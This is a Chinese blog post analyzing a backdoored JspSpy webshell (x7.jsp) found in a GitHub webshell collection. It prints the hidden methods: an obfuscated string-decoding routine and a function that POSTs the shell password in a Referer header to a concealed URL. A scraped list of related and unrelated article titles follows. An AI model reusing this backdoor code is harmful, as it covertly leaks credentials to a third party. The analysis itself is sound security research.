本文作者i春秋作家——非主流

昨天晚上突发奇想的想去看看github上面tennc的webshell收集项目中的shell有没有漏洞,比如未授权啊啥的,结果找半天都没找到。。。但是机缘巧合下,居然给我找到了一个后门狗。

存在后门的webshell地址

follow me

我们咋一看这不就是jspspy嘛

年轻人不要急我们先把整个项目download下来然后再好好分析看看通过文件大小比较x7.jsp和下面的xia.jsp发现x7.jsp比xia.jsp多了2kb已知xia.jsp也是一个版本的jspspy。

但是当我们分别打开x7.jsp和xia.jsp时试图想找到是哪里多出来2kb时发现有点不切实际作为一个java的初学者我们似乎并没有那么大的本事去通读jspspy的各个功能模块的代码。于是乎我们可以通过windows自带的命令去进行文本内容比较(emmmm,类似于linux下的diff命令)

利用管道符号将两个jsp不同的地方重定向输出至txt文档中。

打开txt我们便开始分析很突然就发现有一个问题如下图

请注意txt文档的23行的代码x7.jsp中又定义了一个变量sxm值就是PW的值。

那我们开始着重分析一下x7.jsp中新定义的这个sxm变量是拿来干什么的吧。

接着用编辑器直接ctrl+f在当前文件中查找sxm

直接转向854行

发现有三个新的方法(就是C语言里面的函数)分别是uc()、dx()和FileLocalUpload()依次去定位查看这三个方法的代码块。

FileLocalUpload()方法

public static String FileLocalUpload(String reqUrl,String fckal,String recvEncoding) {
        HttpURLConnection url_con = null;
        String responseContent = null;
        try {
                URL url = new URL(reqUrl);
                url_con = (HttpURLConnection) url.openConnection();
                url_con.setRequestMethod("POST");
  
                url_con.setRequestProperty("REFERER", ""+fckal+"");
                System.setProperty("sun.net.client.defaultConnectTimeout", String.valueOf(connectTimeOut));
                System.setProperty("sun.net.client.defaultReadTimeout", String.valueOf(readTimeOut));
                url_con.setDoOutput(true);
                url_con.getOutputStream().flush();
                url_con.getOutputStream().close();
                InputStream in = url_con.getInputStream();
                BufferedReader rd = new BufferedReader(new InputStreamReader(in,recvEncoding));
                String tempLine = rd.readLine();
                StringBuffer tempStr = new StringBuffer();
                String crlf=System.getProperty("line.separator");
                while (tempLine != null) {
                        tempStr.append(tempLine);
                        tempStr.append(crlf);
                        tempLine = rd.readLine();
                }
        responseContent = tempStr.toString();
        rd.close();
        in.close();
        }
        catch (IOException e) {
        }
        finally {
                if (url_con != null) {
                        url_con.disconnect();
                }
        }
        return responseContent;
}

dx()方法

public static String SysInfo="=?./..//:";
public static String dx() {
        String s = new String();
        for (int i = SysInfo.length() - 1; i >= 0; i--) {
                s += SysInfo.charAt(i);
        }
        return s;
}

uc()方法

public static String uc(String str) {
        String c="\n\r"; long d=127,  f=11, j=12, h=14,  m=31, r=83, k=1, n=8,  s=114, u=-5, v=5,a=0;
        StringBuffer sb = new StringBuffer();
        char[] ch = str.toCharArray();
  
        for (int i = 0; i < ch.length; i++) {
                a = (int)ch[i];
                if(a==d) a=13;
                if(a==f) a=10;
                if(a==j) a=34;
                if((a>=h) && (a<=m)) a=a+r;
                if((a>=k) && (a<=n)) a=a+s;
                if((a>=53) && (a<=57)) a=a+u;
                if((a>=48) && (a<=52)) a=a+v; 
                sb.append((char)a);
        }
        return sb.toString();
}

怎么办看不懂啊。

不要慌~~ 看不懂不要紧我们可以直接把方法拿过来再处理一次只不过我不用FileLocalUpload()方法去处理我直接把sxm变量和uc()、dx()执行之后print输出就行。所以自己写写代码

import java.io.*;
import java.util.*;
 
class x7 {
        public static void main(String[] args) {
                String PW = "ttttt";
                String sxm=PW;
                 
                System.out.println(uc(dx())+sxm);
        }
 
        public static String dx() {
                String s = new String();
                String SysInfo="=?./..//:";
                for (int i = SysInfo.length() - 1; i >= 0; i--) {
                        s += SysInfo.charAt(i);
                }
                return s;
        }
 
        public static String uc(String str) {
                String c="\n\r"; long d=127,  f=11, j=12, h=14,  m=31, r=83, k=1, n=8,  s=114, u=-5, v=5,a=0;
                StringBuffer sb = new StringBuffer();
                char[] ch = str.toCharArray();
 
                for (int i = 0; i < ch.length; i++) {
                        a = (int)ch[i];
                        if(a==d) a=13;
                        if(a==f) a=10;
                        if(a==j) a=34;
                        if((a>=h) && (a<=m)) a=a+r;
                        if((a>=k) && (a<=n)) a=a+s;
                        if((a>=53) && (a<=57)) a=a+u;
                        if((a>=48) && (a<=52)) a=a+v; 
                        sb.append((char)a);
                }
                return sb.toString();
        }
}

写完调试一下然后javac编译一下发现不报错就行。

接着执行一次看看

哇狗比

写在最后

能不能像个黑客一样不要到处要东西除非你想做那个被大鱼吃的小鱼。

>>>>>>黑客入门必备技能  带你入坑和逗比表哥们一起聊聊黑客的事儿他们说高精尖的技术比农药都好玩

一次对webshell的后门的查看的更多相关文章

  1. 阿里云提醒 网站被WebShell木马后门的处理过程

    昨晚凌晨收到新客户的安全求助,说是阿里云短信提示,网站有webshell木马文件被植入,我们SINE安全公司立即成立,安全应急响应小组,客户提供了阿里云的账号密码,随即登陆阿里云进去查看到详情,登陆云 ...

  2. PHP安全之webshell和后门检测

    基于PHP的应用面临着各种各样的攻击: XSS:对PHP的Web应用而言,跨站脚本是一个易受攻击的点.攻击者可以利用它盗取用户信息.你可以配置Apache,或是写更安全的PHP代码(验证所有用户输入) ...

  3. PHP安全之webshell和后门检测(转)

    基于PHP的应用面临着各种各样的攻击: XSS:对PHP的Web应用而言,跨站脚本是一个易受攻击的点.攻击者可以利用它盗取用户信息.你可以配置Apache,或是写更安全的PHP代码(验证所有用户输入) ...

  4. Webshell实现与隐藏探究

    一.什么是webshell webshell简介 webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理 工具,可以 ...

  5. Deformity PHP Webshell、Webshell Hidden Learning

    目录 . 引言 . webshell原理介绍 . webshell的常见类型以及变种方法 . webshell的检测原理以及检测工具 . webshell隐藏反检测对抗手段 0. 引言 本文旨在研究W ...

  6. 应用安全-web安全-WebShell整理

    shellcode.aspx <%@ Page Language="C#" AutoEventWireup="true" Inherits="S ...

  7. Linux后门的几种姿势

    转载自 https://evilanne.github.io/2017/08/26/Linux%E5%90%8E%E9%97%A8-%E6%8C%81%E7%BB%AD%E5%85%B3%E6%B3% ...

  8. [转载]Linux后门整理合集(脉搏推荐)

    我在思考要不要联系下....都禁止转载了.... 简介 利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持反弹上线到公网机器. 利用方法 先创建 /etc/xxxx 脚本 ...

  9. OpenSSH后门获取root密码及防范

    OpenSSH后门获取root密码及防范 相对于Windows操作系统,Linux操作系统的密码较难获取.而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,可以通过修改或者 ...

随机推荐

  1. geoserver 文件系统

    我介绍了GeoServer的一些重要的资源以及它们的访问接口,现在来看看它们的保存形式.GeoServer的数据没有保存到数据库,而是文件系统,这让我们的学习轻松不少.默认情况下,GeoServer的 ...

  2. PS抠发丝技巧 「选择并遮住…」

    PS抠发丝技巧 「选择并遮住…」 现在的海报设计,大多数都有模特MM,然而MM的头发实用太多了,有的还飘起来…… 对于设计师(特别是淘宝美工)没有一个强大.快速.实用的抠发丝技巧真的混不去哦.而PS ...

  3. tp5.1注册路由后接收不到参数

  4. jquery 元素筛选 13.6.20

    <ul> <li>list item 1</li> <li>list item 2</li> <li class="thir ...

  5. 2018.09.24 bzoj1867: [Noi1999]钉子和小球(概率dp)

    传送门 概率dp经典题. 如果当前位置(i,j)(i,j)(i,j)有钉子,那么掉到(i+1,j),(i+1,j+1)(i+1,j),(i+1,j+1)(i+1,j),(i+1,j+1)的概率都是1/ ...

  6. Part 1 - Getting Started(1-3)

    https://simpleisbetterthancomplex.com/series/2017/09/04/a-complete-beginners-guide-to-django-part-1. ...

  7. ansible-playbook 主机变量1

    hosts 配置后可以支持指定 端口,密码等其他变量 [root@10_1_162_39 host_vars]# ll total -rw-r--r-- root root May : hosts - ...

  8. 极小极大搜索方法、负值最大算法和Alpha-Beta搜索方法

    1. 极小极大搜索方法    一般应用在博弈搜索中,比如:围棋,五子棋,象棋等.结果有三种可能:胜利.失败和平局.暴力搜索,如果想通过暴力搜索,把最终的结果得到的话,搜索树的深度太大了,机器不能满足, ...

  9. 记录:Web相关政策之备案号、视频播放

    (一)备案号链接: 服务器在国内的网站受工信部监管,并受其颁布的<管理办法>约束.根据<互联网信息服务管理办法>及<非经营性互联网信息服务备案管理办法>的法律法规, ...

  10. 通过FactoryBean方式来配置bean

    1.实现FactoryBean接口的java类: 2.相应的.xml文件: